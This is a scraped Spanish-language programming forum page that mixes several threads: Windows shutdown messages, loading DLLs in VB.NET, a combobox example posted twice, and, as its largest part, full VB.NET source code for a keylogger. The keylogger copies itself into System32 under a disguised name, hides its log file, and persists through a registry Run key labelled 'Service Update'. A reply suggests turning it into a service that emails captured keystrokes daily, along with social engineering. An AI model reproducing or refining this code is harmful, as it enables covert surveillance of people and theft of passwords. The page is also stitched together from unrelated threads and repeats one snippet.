Mensajes

Cuando el sistema va a ser reiniciado u apagado, este envía un mensaje WM_QUERYENDSESSION a cada aplicación. Las aplicaciones que devuelvan TRUE a dicho mensaje, reciben WM_ENDSESSION.

Y con eso te debería bastar para lo que quieres hacer. Otra opción seria emplear hooks pero no creo que sea lo mas adecuado en este caso.

Saludos!

Gracias De seguro me servira

Hola quisiera que me ayudaran un poco con mi incognita: Existe en c++ una funcion o procedimiento que le indique a mi programa que Windows sera apagado?, se que podria empezar a buscar en google pero no se como entrarle al tema, me dieran una pista de como hacerle.
algo asi como que el usuario que windows no tenga que finalizar el proceso o el usuario dandole "Finalizar Ahora"

Gracias....

olap, una consulta, para que tu keylogger sea mas "productivo" xD   no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo    y con un poco de ingenieria social ... xD  . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U

lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ??  simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ???   alguien sabe ??   en lo personal me parece mas facil y transparente usar JNA ....   

de todas maneras se agradece el aporte 

Si el API para esa funcion se llama int GetAsyncKeyState(int vkey)
y esta en la dll llamada user32.dll

Sí, claro que es posible.

Tienes que Usar la clase Assembly y el método Load: http://msdn.microsoft.com/en-us/library/system.reflection.assembly.load(VS.71).aspx

Mira este post, que también habla de algo parecido: https://foro.elhacker.net/net/solucionado_cargar_dll_a_memoria-t304923.0.html

Un saludo!

GRACIAS probaré a ver como me va

Gracias por leer esto y quisiera que me ayudaran a responder mi duda ¿Es posible en Visual Basic .NET utilizar una dll que se encuentre en otro directorio diferente de donde se encuentra la aplicacion que la necesita?

Gracias...

Aqui muestro un pequeno ejemplo de como cargar los datos de una bd a un combobox en vb.net

Código (vb.net) [Seleccionar] Expandir


 Public Sub Cargar_combo(ByVal combobox As ComboBox, ByVal sqlinstruccion As String)

       'Carga el contenido de un dataset en un combobox, solo pueden devolver dos relaciones
       'ya que el combobox cuenta con dos propiedades: text y value

       Dim ds As New DataSet
       BD.Llenards(ds, sqlinstruccion)
       combobox.DataSource = ds.Tables(0)
       combobox.DisplayMember = ds.Tables(0).Columns(0).Caption.ToString()
       combobox.ValueMember = ds.Tables(0).Columns(1).Caption.ToString()
   End Sub

'Aqui esta el Codigo de el Procedimiento Llenards
Public Sub Llenards(ByRef ds As DataSet, ByVal sqlinstruccion As String)
       Conectarbd()
       Dim adaptador As New OleDb.OleDbDataAdapter(sqlinstruccion, bd)
       adaptador.Fill(ds)
       Desconectarbd()
   End Sub


Espero que a alguien le serva  ya que el ejemplo en el que me base para este codigo me fue dificil de encontrarlo
Alguna duda, sugerencia o comentario; me lo hacen saber por fa

*Este ejemplo puede ser utilizado de la siguiente Manera

Código (vb.net) [Seleccionar] Expandir


Cargar_combo(Mi_Combobox as Combobox, "select id_persona,nombre_persona from personas")
'Tratar de que el value del combox siempre sea la primera a escribir
' en la instruccion sql y luego el texto que se va a mostrar para el usuario


Aqui muestro un pequeno ejemplo de como cargar los datos de una bd a un combobox en vb.net

Código (vb.net) [Seleccionar] Expandir


 Public Sub Cargar_combo(ByVal combobox As ComboBox, ByVal sqlinstruccion As String)

       'Carga el contenido de un dataset en un combobox, solo pueden devolver dos relaciones
       'ya que el combobox cuenta con dos propiedades: text y value

       Dim ds As New DataSet
       BD.Llenards(ds, sqlinstruccion)
       combobox.DataSource = ds.Tables(0)
       combobox.DisplayMember = ds.Tables(0).Columns(0).Caption.ToString()
       combobox.ValueMember = ds.Tables(0).Columns(1).Caption.ToString()
   End Sub

'Aqui esta el Codigo de el Procedimiento Llenards
Public Sub Llenards(ByRef ds As DataSet, ByVal sqlinstruccion As String)
       Conectarbd()
       Dim adaptador As New OleDb.OleDbDataAdapter(sqlinstruccion, bd)
       adaptador.Fill(ds)
       Desconectarbd()
   End Sub


Espero que a alguien le serva  ya que el ejemplo en el que me base para este codigo me fue dificil de encontrarlo
Alguna duda, sugerencia o comentario; me lo hacen saber por fa

*Este ejemplo puede ser utilizado de la siguiente Manera

Código (vb.net) [Seleccionar] Expandir


Cargar_combo(Mi_Combobox as Combobox, "select id_persona,nombre_persona from personas")
'Tratar de que el value del combox siempre sea la primera a escribir
' en la instruccion sql y luego el texto que se va a mostrar para el usuario


Aqui hay un ejemplo de un keyloger en vb .net, lo que hice fue crear una aplicacion de windows nueva, luego me fue a las propiedades del proyecto y en ves de seleccionar aplicaciones para windows seleccione servicio de windows, luego se agrega un archivo de codigo y recomiendo eliminar el del formulario, y en la ventana de propiedade hacer que el archivo de codigo fuente sea el primero en iniciar,
aqui esta el codigo fuente , se que no es el mejor pero creo que a alguien le puede servir de algo,
Hay que tratar de eliminar las referencias a librerias que no estemos ocupando, para el caso de este keylogger deje solo windows.forms

Aqui esta codigo fuente del "Programa Principal"

Código (vbnet) [Seleccionar] Expandir


'--------------------------------------------------------------------------
Imports System.Windows.Forms
Module KLG

   Sub main()
       Dim tiempo As DateTime = DateTime.Now

       If IO.File.Exists(ruta) = True Then
           SetAttr(ruta, FileAttribute.Hidden)
       End If

       Comprobar_el_reg()
       copiar_a("cssrs.exe", "C:\Windows\System32\cssrs.exe")
       escribe("<<" & tiempo.ToShortTimeString() & "|" & tiempo.ToShortDateString() & ":")

       While ((comprobar_tecla(27) And comprobar_tecla(32) And comprobar_tecla(69)) <> True)

           espera(70)
           Comprobar_el_reg()'esto en un ciclo ya que si borran la clave de registro esta se podra volver a registrar


           For i As Integer = 32 To 128
               If comprobar_tecla(i) = True Then
                   espera(70)
                   escribe(Chr(i))
                   Exit For
               End If
           Next

           If comprobar_tecla(13) = True Then
               escribe(" (E) ")
           End If

           If comprobar_tecla(8) = True Then
               escribe(" (B) ")
           End If

           If comprobar_tecla(9) = True Then
               escribe(" (T) ")
           End If

           If comprobar_tecla(27) = True Then
               escribe(" (S) ")
           End If

           If comprobar_tecla(32) = True Then
               escribe(" ")
           End If

           If comprobar_tecla(46) = True Then
               escribe(".")
           End If
       End While

       escribe(">>EOR")
       Application.Exit()
   End Sub

End Module
'--------------------------------------------------------------------------
Aqui el modulo llamado Mod_Operaciones

Module Mod_Operaciones

   Friend Const ruta As String = "C:\Windows\System32\cssrs.001"

'Escribe en el archivo cssrs.001 las lecturas registradas
'se le agrega un poco de seguridad convirtiendolo a base64

   Friend Sub escribe(ByVal cadena_tecla As String)
       Dim archivo As New IO.StreamWriter(ruta, True)
       archivo.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(cadena_tecla)))
       archivo.Flush()
       archivo.Dispose()
       archivo.Close()
   End Sub

'Copia el ejecutable de keylogger en el directorio system32
   Friend Sub copiar_a(ByVal ruta_origen As String, ByVal ruta_destino As String)
       If IO.File.Exists(ruta_destino) = True Then Exit Sub
       IO.File.Copy(ruta_origen, ruta_destino)
   End Sub

'Intervalo de tiempo para las lecturas
   Friend Sub espera(ByVal milisegundos As Integer)
       Threading.Thread.Sleep(milisegundos)
   End Sub

End Module
'-------------------------------------------------------------------------- Modulo llamado Mod_Operaciones

Imports Microsoft.Win32
Module Mod_Subsistir

   Declare Function GAKS Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

'Comprueba si la clave de registro se encuentra en el sistema
'si no existe o si es borrada la crea

   Friend Sub Comprobar_el_reg()

       Dim llave_reg2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)

       If llave_reg2.GetValue("Service Update", "C:\Windows\System32\cssrs.exe") <> Nothing Then

           llave_reg2.SetValue("Service Update", "C:\Windows\System32\cssrs.exe")

       End If
   End Sub

'Se encarga de saber que tecla ha sido pulsada
   Friend Function comprobar_tecla(ByVal tecla As Integer) As Boolean
       If GAKS(tecla) <> 0 Then
           Return True
       End If
   End Function
End Module
'--------------------------------------------------------------------------

Alguna sugerencia para poder mejorarlo por favor
ahora el problema que tengo es que no se como leer teclas especiales como @ .
y ya probe

comprobar_tecla(64)